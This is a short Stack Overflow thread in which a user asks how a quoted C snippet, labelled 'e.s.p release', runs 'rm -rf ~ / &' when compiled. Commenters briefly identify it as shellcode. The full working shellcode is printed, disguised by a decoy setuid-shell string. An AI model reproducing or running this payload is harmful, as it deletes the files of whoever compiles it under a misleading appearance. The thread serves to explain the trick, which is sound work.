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How does the following malicious command become rm -rf ~ / & when compiled?

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
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Just try to compile a small code like system("ls") and look into its assembly content. –  Eddy_Em Sep 23 '13 at 4:53
    
I don't know assembly :( –  Demetri Sep 23 '13 at 5:00
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1 Answer

up vote 2 down vote accepted

It's called shellcode.

Basically the hex codes are determined from the assembled machine code and correspond to byte locations of Linux system calls.

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How does the code even compile without an error like "undefined reference to 'main'"? –  Demetri Sep 23 '13 at 5:03
    
@Demetri, that's quite simple: this variable is assembly code that's running when you run your compiled program. –  Eddy_Em Sep 23 '13 at 5:05
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